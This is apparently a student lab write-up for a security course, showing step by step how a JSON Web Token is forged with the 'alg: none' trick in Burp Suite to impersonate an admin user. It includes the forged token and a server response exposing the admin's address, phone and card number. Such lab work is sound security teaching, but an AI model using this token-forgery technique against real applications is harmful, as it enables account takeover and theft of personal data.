

Lab 8 - Christian Graber, Juvan Thavalingam

Task 6:

1. Login as Alice and install in Burp JSON Web Tokens
2. Start Burp and go to Profile
3. Send the request "/api/account/" to repeater
4. Go to JSON Web Tokens and set alg to "None"
5. Set uid to "105" and we get the admin
6. Jwt token id:
eyJ0eXAiOiJKV1QiLCJhbGciOiJOT05FIn0.eyJqdGkiOiJmNWE3ZmViZS00N2EyLTQ0ZjItYTgxM
C01ZWVhN2I3OWQ5NzYiLCJ1aWQiOjEwNSwiZXhwIjoxNzMzOTMyNjg1fQ.DIDVEanhKsrQTJ
qhaVUDI72kjR4ZFJfIoT6vlQBQyBo
7. Inspect the profile page, go to storage and replace the token value with the new jwt token id!
-> click on profile and you get the admin

The screenshot shows the Burp Suite interface with the Repeater tab selected. The Request pane displays a JSON Web Token (JWT) with the following content:

```
{"typ": "JWT",  
 "alg": "NONE"}  
  
The Response pane shows a successful HTTP/2 200 OK response with the following headers and content:
```

HTTP/2 200 OK
Content-Security-Policy: default-src 'self'; font-src 'self' fonts.gstatic.com; style-src 'self' fonts.googleapis.com 'sha256-47DE0pj8HBSa+/TImM+5Ce0eRkm5MpJWZGShSuU='; 'sha256-AXfn2XXJ5LyfQOCnRnLw38vZaug88gbDcONPcd1vcv='; img-src 'self' data: https://unsplash.com/photos https://images.unsplash.com
Content-Type: application/json
Date: Wed, 11 Dec 2024 15:49:08 GMT
Server: unicorn
Strict-Transport-Security: max-age=63072000
Content-Length: 162

```
{  
    "address": "Vermilion Lane 8",  
    "credit_card": "2024 1968 4466 0002",  
    "phone": "+41 567 889 300",  
    "picture": "user105.png",  
    "role": "admin",  
    "uid": "105",  
    "username": "victor"  
}
```